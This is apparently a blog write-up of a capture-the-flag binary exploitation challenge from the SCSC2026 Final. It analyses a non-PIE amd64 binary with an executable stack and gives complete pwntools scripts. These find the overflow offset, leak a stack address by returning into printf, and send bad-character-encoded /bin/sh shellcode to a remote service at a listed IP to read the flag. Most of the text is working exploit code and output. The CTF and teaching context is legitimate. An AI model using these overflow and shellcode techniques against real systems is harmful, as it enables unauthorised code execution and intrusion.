316 words
2 minutes
SCSC2026 Final - pwn revenggeeee - Binary Exploitation Writeup

Category: Binary Exploitation

Flag: SCSC26{my_old_chall_on_r3v3ng33333_nice_c4tch_b7w}

Description: port 6662

The challenge gave one amd64 ELF and a remote service. First checks showed a non-PIE binary with no canary and an executable stack.

file '/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o'
/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o: ELF 64-bit LSB executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped
stat -c '%s %F %y' '/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o'
16144 regular file 2026-05-16 15:39:24.605327985 +0700
checksec --file='/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o'
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments

Symbols named the important functions. main reads 0x100 bytes into a 0x50 byte stack buffer, then runs check_badchars before returning.

nm -n '/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o'
0000000000401156 T setup
00000000004011b7 T check_badchars
0000000000401247 T main
objdump -d -Mintel '/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o'
main:
  sub rsp,0x50
  read(0, rbp-0x50, 0x100)
  check_badchars(buf, nread)
  leave; ret
check_badchars blocks bytes: 0x90, 0x2f, 0x0f

The error string in .rodata matched the byte filter. Raw /bin/sh amd64 shellcode contains / and syscall bytes, so it would be killed by check_badchars.

objdump -s -j .rodata '/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o'
.rodata: "[-] Security alert! Bad character '\x%02x' detected!"

A short crash test confirmed saved RIP offset 88.

from pwn import *

p = process('/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o')
p.send(b'A'*88+b'BBBBBBBB')
p.wait()
print('exit', p.poll())
SIGSEGV, confirms saved RIP offset 88.

There was no useful jmp rsp or syscall gadget in the file, so the exploit used the executable stack. Stage one returned into printf with the stack buffer as the format string, then returned to main. That leaked a stack pointer.

from pwn import *

elf=ELF('/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o', checksec=False)
fmt=b'%p.'*12
stage1=fmt.ljust(88,b'A')+p64(elf.plt['printf'])+p64(elf.sym['main'])
p=process(elf.path)
p.send(stage1)
out=p.recvuntil(b'A'*20, timeout=1)
print(out)
0x68.(nil).0x2000.(nil).(nil).0x7ffe33d5af48.0x133d5ae80.0x401247.(nil)...

Local gdb correlation gave leak - second_stage_buffer = 0x168 and ret target = second_stage_buffer + 96. The remote stack layout differed by 0x10, so the final script tried 0x168 and 0x178. It used pwntools’ encoder to build shellcode with none of 0x90, 0x2f, 0x0f, 0x00, or newline.

from pwn import *
context.clear(arch='amd64')
from pwnlib.encoders.encoder import encode

elf=ELF('/home/rei/Downloads/SCSC2026Final/pwnpwnclub_newest.o', checksec=False)
sc=encode(asm(shellcraft.sh()), avoid=b'\x90/\x0f\x00\x0a')
fmt=b'%p.'*12
stage1=fmt.ljust(88,b'A')+p64(elf.plt['printf'])+p64(elf.sym['main'])

for diff in [0x168,0x178]:
    io=remote('43.128.69.211',6662,timeout=4)
    io.send(stage1)
    out=io.recvuntil(b'A'*16,timeout=4)
    leak=int(out.split(b'.')[5],16)
    target=leak-diff+96
    payload=b'B'*88+p64(target)+sc
    io.send(payload)
    io.sendline(b'echo MARKER; /bin/cat /flag 2>/dev/null; /bin/cat flag.txt 2>/dev/null; exit')
    data=io.recvall(timeout=2)
    print(diff, data)
Diff 0x178: AAAAAAAAAAAAAAAAAAAAMARKER
SCSC26{my_old_chall_on_r3v3ng33333_nice_c4tch_b7w}
SCSC2026 Final - pwn revenggeeee - Binary Exploitation Writeup
https://blog.rei.my.id/posts/149/scsc2026-final-pwn-revenggeeee-binary-exploitation-writeup/
Author
Reidho Satria
Published at
2026-05-16
License
CC BY-NC-SA 4.0